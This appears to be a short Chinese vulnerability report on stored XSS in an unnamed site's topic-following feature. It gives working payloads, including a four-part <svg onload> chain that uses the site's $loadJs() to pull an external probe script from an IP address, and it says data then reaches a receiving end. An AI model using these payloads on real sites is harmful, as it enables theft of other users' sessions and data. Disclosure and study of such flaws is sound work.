某站 添加“我关注的话题”处,存在XSS
在个人主页处点击添加话题,写入XSS测试 : <script>alert(1)</script>
点击确定后,页面无明显变化,在点击删除时才触发了弹窗:
此处用script标签触发条件较为苛刻。换用img标签再次测试:<img src=a onerror=alert(1)>
点击确定后,直接触发了弹窗:
接下来,就要尝试引入外部JS文件了。由于输入框有字数限制,无法一次性引入js文件,庆幸的是此处输入可以累计添加,后面的输入不会覆盖掉前面的。在引用通用的payload 时,又遇到了另一个问题,那就是即使截取成最短的长度,中间一句还是超过长度限制,这个时候就需要再考虑对方网站架构,观察js框架,最后找到了$loadJs()--> 对方网站的js api 。直接调用就好啦~~~
下面 分四次添加这段xs代码:
<svg onload="b='http://123'">
<svg onload="b+='.206.93.11'">
<svg onload="b+='/probe.js'">
<svg onload="$loadJs(b)">
添加完成后,刷新页面,在接收端即可收到信息: